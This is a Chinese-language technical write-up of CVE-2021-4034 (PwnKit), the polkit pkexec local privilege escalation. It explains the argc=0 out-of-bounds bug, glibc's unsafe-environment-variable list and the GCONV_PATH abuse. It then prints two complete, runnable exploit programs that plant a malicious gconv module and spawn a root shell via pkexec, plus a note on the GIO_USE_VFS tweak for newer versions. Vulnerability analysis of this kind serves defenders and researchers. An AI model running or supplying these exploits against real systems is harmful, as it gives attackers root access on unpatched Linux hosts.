CVE-2021-4034 Pwnkit

Linux Polkit组件 本地提权

从危险环境变量getshell

Polkit

Polkit 是一个应用程序级别的工具集,通过定义和审核权限规则,实现不同优先级进程间的通讯:控制决策集中在统一的框架之中,决定低优先级进程是否有权访问高优先级进程。

polkit预装在linux发行版中,其中的suid程序pkexec被发现可利用的存在内存漏洞

漏洞分析

修复后 src/programs/pkexec.c · a2bf5c9c83b6ae46cbd5c779d3055bff81ded683 · polkit / polkit · GitLab

修复前 src/programs/pkexec.c · 0.105 · polkit / polkit · GitLab

可以看到有一个fix如下

  /*
   * If 'pkexec' is called THIS wrong, someone's probably evil-doing. Don't be nice, just bail out.
   */
  if (argc<1)
    {
      exit(127);
    }

当argc<1时的情况会被恶意利用,因此直接对这种情况退出

  for (n = 1; n < (guint) argc; n++)
    {
      if (strcmp (argv[n], "--help") == 0)
        {
          opt_show_help = TRUE;
        }
      else if (strcmp (argv[n], "--version") == 0)
        {
          opt_show_version = TRUE;
        }
      else if (strcmp (argv[n], "--user") == 0 || strcmp (argv[n], "-u") == 0)
        {
          n++;
          if (n >= (guint) argc)
            {
              usage (argc, argv);
              goto out;
            }

          if (opt_user != NULL)
            {
              g_printerr ("--user specified twice\n");
              goto out;
            }
          opt_user = g_strdup (argv[n]);
        }
      else if (strcmp (argv[n], "--disable-internal-agent") == 0)
        {
          opt_disable_internal_agent = TRUE;
        }
      else
        {
          break;
        }
    }

  ...

  g_assert (argv[argc] == NULL);
  path = g_strdup (argv[n]);
  if (path == NULL)
    {
      GPtrArray *shell_argv;

      path = g_strdup (pwstruct.pw_shell);
      if (!path)
        {
          g_printerr ("No shell configured or error retrieving pw_shell\n");
          goto out;
        }
      /* If you change this, be sure to change the if (!command_line)
     case below too */
      command_line = g_strdup (path);
      shell_argv = g_ptr_array_new ();
      g_ptr_array_add (shell_argv, path);
      g_ptr_array_add (shell_argv, NULL);
      exec_argv = (char**)g_ptr_array_free (shell_argv, FALSE);
    }
  if (path[0] != '/')
    {
      /* g_find_program_in_path() is not suspectible to attacks via the environment */
      s = g_find_program_in_path (path);
      if (s == NULL)
        {
          g_printerr ("Cannot run program %s: %s\n", path, strerror (ENOENT));
          goto out;
        }
      g_free (path);
      argv[n] = path = s;
     }

由于一开始的for循环就假定了n>=1,path = g_strdup (argv[n]);时显然发生了数组的越界读

但是这个越界看起来非常难以利用,事实上这个漏洞在13年就被当作bug被提出,但是被认为无关紧要,最近被提出的这个利用也是Pwnkit真正有意思的地方。

path在下文发生了一次越界写

path若不是绝对路径将通过g_find_program_in_path函数进行一次修复,寻找path环境变量下的路径然后写回给 argv[1]

在栈上,argv其后是envp,即环境变量字符串

断点下在main函数查看

因此我们实际上获得的是一次从环境变量修改环境变量的机会

这个机会可以用来写入不安全的敏感环境变量,从而在该SUID程序的空间中加载任意动态链接库执行任意代码

linux下的动态连接器 ld-linux-x86-64.so.2 会在特权程序执行的时候清除敏感环境变量

dl-support.c source code [glibc/elf/dl-support.c] - Woboq Code Browser

unsecvars.h source code [glibc/sysdeps/generic/unsecvars.h] - Woboq Code Browser

#define UNSECURE_ENVVARS \
  "GCONV_PATH\0"                                                              \
  "GETCONF_DIR\0"                                                              \
  GLIBC_TUNABLES_ENVVAR                                                              \
  "HOSTALIASES\0"                                                              \
  "LD_AUDIT\0"                                                                      \
  "LD_DEBUG\0"                                                                      \
  "LD_DEBUG_OUTPUT\0"                                                              \
  "LD_DYNAMIC_WEAK\0"                                                              \
  "LD_HWCAP_MASK\0"                                                              \
  "LD_LIBRARY_PATH\0"                                                              \
  "LD_ORIGIN_PATH\0"                                                              \
  "LD_PRELOAD\0"                                                              \
  "LD_PROFILE\0"                                                              \
  "LD_SHOW_AUXV\0"                                                              \
  "LD_USE_LOAD_BIAS\0"                                                              \
  "LOCALDOMAIN\0"                                                              \
  "LOCPATH\0"                                                                      \
  "MALLOC_TRACE\0"                                                              \
  "NIS_PATH\0"                                                                      \
  "NLSPATH\0"                                                                      \
  "RESOLV_HOST_CONF\0"                                                              \
  "RES_OPTIONS\0"                                                              \
  "TMPDIR\0"                                                                      \
  "TZDIR\0"

其中第一个GCONV_PATH就是很好的选择,pkexec中有大量调用g_printerr的位置,其中如果环境变量的charset被定义,则会调用iconv_open()导入对应的so文件处理文本

iconv_open()会调用.so文件中的gconv()与gonv_init()函数

我们伪造一个GCONV_PATH并设定gconv-modules文件中的so文件然后触发报错即可getshell。

glibc iconv实现(GNU C库)

紧接着的程序流会调用validate_environment_variable

static gboolean
validate_environment_variable (const gchar *key,
                               const gchar *value)
{
  gboolean ret;

  /* Generally we bail if any environment variable value contains
   *
   *   - '/' charaters
   *   - '%' characters
   *   - '..' substrings
   */

  g_return_val_if_fail (key != NULL, FALSE);
  g_return_val_if_fail (value != NULL, FALSE);

  ret = FALSE;

  /* special case $SHELL */
  if (g_strcmp0 (key, "SHELL") == 0)
    {
      /* check if it's in /etc/shells */
      if (!is_valid_shell (value))
        {
          log_message (LOG_CRIT, TRUE,
                       "The value for the SHELL variable was not found the /etc/shells file");
          g_printerr ("\n"
                      "This incident has been reported.\n");
          goto out;
        }
    }
  else if ((g_strcmp0 (key, "XAUTHORITY") != 0 && strstr (value, "/") != NULL) ||
           strstr (value, "%") != NULL ||
           strstr (value, "..") != NULL)
    {
      log_message (LOG_CRIT, TRUE,
                   "The value for environment variable %s contains suscipious content",
                   key);
      g_printerr ("\n"
                  "This incident has been reported.\n");
      goto out;
    }

  ret = TRUE;

 out:
  return ret;
}

可以有两种通过错误环境变量造成报错的方式

随意输入非法的shell变量即可

static gboolean
is_valid_shell (const gchar *shell)
{
  gboolean ret;
  gchar *contents;
  gchar **shells;
  GError *error;
  guint n;

  ret = FALSE;

  contents = NULL;
  shells = NULL;

  error = NULL;
  if (!g_file_get_contents ("/etc/shells",
                            &contents,
                            NULL, /* gsize *length */
                            &error))
    {
      g_printerr ("Error getting contents of /etc/shells: %s\n", error->message);
      g_error_free (error);
      goto out;
    }

  shells = g_strsplit (contents, "\n", 0);
  for (n = 0; shells != NULL && shells[n] != NULL; n++)
    {
      if (g_strcmp0 (shell, shells[n]) == 0)
        {
          ret = TRUE;
          goto out;
        }
    }

 out:
  g_free (contents);
  g_strfreev (shells);
  return ret;
}

利用流程非常的简单清晰

  • 编译一个伪造的so,在gconv_init函数中进行getshell

  • 创建GCONV_PATH=.文件夹并在其中创建可执行文件pwnkit

  • 在同级目录创建pwnkit文件夹在其中自定义module文件指向伪造so

  • 指定条件下execve pkexec

EXP分析

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

char *shell =
        "#include <stdio.h>\n"
        "#include <stdlib.h>\n"
        "#include <unistd.h>\n\n"
        "void gconv() {}\n"
        "void gconv_init() {\n"
        "       setuid(0); setgid(0);\n"
        "       seteuid(0); setegid(0);\n"
        "       system(\"export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin; /bin/sh\");\n"
        "       exit(0);\n"
        "}";

int main(int argc, char *argv[]) {
        FILE *fp;
        system("mkdir -p 'GCONV_PATH=.'; touch 'GCONV_PATH=./pwnkit'; chmod a+x 'GCONV_PATH=./pwnkit'");
        system("mkdir -p pwnkit; echo 'module UTF-8// PWNKIT// pwnkit 1' > pwnkit/gconv-modules");
        fp = fopen("pwnkit/pwnkit.c", "w");
        fprintf(fp, "%s", shell);
        fclose(fp);
        system("gcc pwnkit/pwnkit.c -o pwnkit/pwnkit.so -shared -fPIC");
        char *env[] = { "pwnkit", "PATH=GCONV_PATH=.", "CHARSET=PWNKIT", "GIO_USE_VFS=", "SHELL=pwnkit", NULL };
        execve("./pkexec", (char*[]){NULL}, env);
}

值得注意的是,0.114+版本在main函数里面多加了一句setenv

  /* Disable remote file access from GIO. */
  setenv ("GIO_USE_VFS", "local", 1);

GIO_USE_VFS环境变量为空时,栈会发生迁移,导致无法完成利用,还需要设置GIO_USE_VFS为任意值才可以在以上版本提权

还可以通过直接在exp中包含gconv函数并直接创建文件链接,单文件完成利用

pkexec.c (github.com)

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <fcntl.h>

const char my_interp[] __attribute__((section(".interp"))) = "/lib64/ld-linux-x86-64.so.2";


void fatal(char *f) {
    perror(f);
    exit(-1);
}


void gconv() {
  return;
}
void gconv_init() {
  setuid(0); seteuid(0); setgid(0); setegid(0);
  static char *a_argv[] = { "sh", NULL };
  static char *a_envp[] = { "PATH=/bin:/usr/bin:/sbin", NULL };
  execve("/bin/sh", a_argv, a_envp);
  exit(0);
}


int lol(int argc, char *argv[]) {
    struct stat st;
    char *a_argv[]={ NULL };
    char *a_envp[]={
        "lol",
        "PATH=GCONV_PATH=.",
        "LC_MESSAGES=en_US.UTF-8",
        "XAUTHORITY=../LOL",
        NULL
    };


    if (stat("GCONV_PATH=.", &st) < 0) {
        if(mkdir("GCONV_PATH=.", 0777) < 0) {
            fatal("mkdir");
        }
        int fd = open("GCONV_PATH=./lol", O_CREAT|O_RDWR, 0777); 
        if (fd < 0) {
            fatal("open");
        }
        close(fd);
    }

    if (stat("lol", &st) < 0) {
        if(mkdir("lol", 0777) < 0) {
            fatal("mkdir");
        }
        FILE *fp = fopen("lol/gconv-modules", "wb");
        if(fp == NULL) {
            fatal("fopen");
        }
        fprintf(fp, "module  UTF-8//    INTERNAL    ../payload    2\n");
        fclose(fp);
    }

    printf("[~] maybe get shell now?\n");

    execve("/usr/bin/pkexec", a_argv, a_envp);
}

一些思路

特权程序在鉴权前的短路径漏洞可以非常短平快完成提权 类似CVE-2021-3156

是否还有其他可以导致ld.so中缺少UNSECURE_ENVVARS过滤的情况可以使用环境变量直接提权 类似# CVE-2018-14634